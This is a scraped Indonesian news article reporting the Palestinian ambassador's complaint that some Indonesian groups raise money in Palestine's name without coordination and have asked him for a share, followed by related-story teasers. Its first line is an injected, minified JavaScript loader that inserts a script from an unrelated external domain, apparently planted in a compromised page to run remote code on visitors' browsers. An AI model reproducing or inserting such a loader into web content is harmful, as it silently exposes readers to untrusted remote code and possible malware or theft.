(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Duta Besar Palestina untuk Indonesia Zuhair Al Shun mengaku tersinggung dengan upaya penggalangan dana oleh sejumlah lembaga untuk Palestina.
Selain tidak tidak berkoordinasi dengan Kedutaan Besar Palestina di Indonesia. Beberapa lembaga yang mengumpulkan donasi mengatasnamakan Palestina minta bagi hasil.
Melansir dari kilat.com, Duta Besar Palestina untuk Indonesia Zuhair Al Shun mengungkapkan, ada oknum-oknum lembaga di Indonesia yang memanfaatkan isu Palestina untuk menggalang dana. Tapi ingin mendapatkan keuntungan.
Baca juga:Masih Ada Puskesmas di Kalsel Tak Miliki Dokter
“Saya merasa kaget dan tidak habis pikir, sebagai institusi perwakilan diplomatik, saya didatangi oleh oknum-oknum yang menawarkan penggalangan dana untuk Palestina, dan mereka minta bagi hasil, tentu saya menolak,” kata Zuhair Al Shun.
Pernyataan mengenai beberapa aktivitas penggalangan dana yang dilakukan oleh masyarakat di jalan-jalan, dan berbagai baliho yang terpasang di jalanan Jakarta dan berbagai kota di Indonesia, tidak terkait dan tidak berkoordinasi dengan Kedubes Palestina di Indonesia.
“Saya menolak bukan untuk meminta seluruh dana diserahkan ke Kedubes Palestina, namun saya menolak praktik korupsi dan pemanfaatan isu Palestina oleh LSM (lembaga swadaya masyarakat) atau ormas yang tidak bertanggung jawab,” kata Al Shun.
Mengutip terkini.id — jaringan Suara.com, konflik di Timur Tengah terkait isu Israel dan Palestina dijadikan momentum untuk mengumpulkan dana bagi Palestina. Sebagian masyarakat Indonesia tergerak untuk membantu Palestina dengan menyalurkan donasi.
“Penggalangan dana oleh organisasi dan LSM di Indonesia mereka kelola sendiri, lalu mereka menyalurkan lewat jaringan mereka di antaranya melalui beberapa orang Indonesia yang berada di Jalur Gaza, atau tempat lain di Timur Tengah seperti Syria,” kata Al Shun.
Baca juga: Gas Rem Penanganan Covid di Kalsel, Bangkitkan Ekonomi di Tengah Pandemi
Di tengah keprihatinan rakyat Palestina, penggalangan dana untuk Palestina perlu transparansi agar tidak merugikan Palestina di Indonesia.
Pemerintahan Otoritas Palestina di bawah kepemimpinan Mahmoud Abbas juga menyampaikan rasa terima kasih dan penghargaan atas dukungan Pemerintah Indonesia kepada Palestina. (suara)
Editor: cell
KANALKALIMANTAN.COM, BANJARMASIN - Calon Gubernur Kalimantan Selatan (Kalsel) nomor urut 1 H Muhidin menggunakan hak… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru merampungkan pengadaan logistik untuk Pemilhan Kepala… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima orang aktivis penyeru hak demokrasi mendatangi kantor Komisi Pemilihan Umum (KPU)… Read More
Dahtiar: Yang Dihitung Suara Sah Saja Nanti, Karena Bukan Mekanisme Kotak Kosong Read More
KANALKALIMANTAN.COM, MARTAPURA - Sekretaris Bappedalitbang Kabupaten Banjar, Hanafi, membuka rapat dengan agenda Pembahasan Proses Bisnis… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dikira tertidur, seorang lelaki pengayuh becak ditemukan meninggal dunia di Jalan A… Read More
This website uses cookies.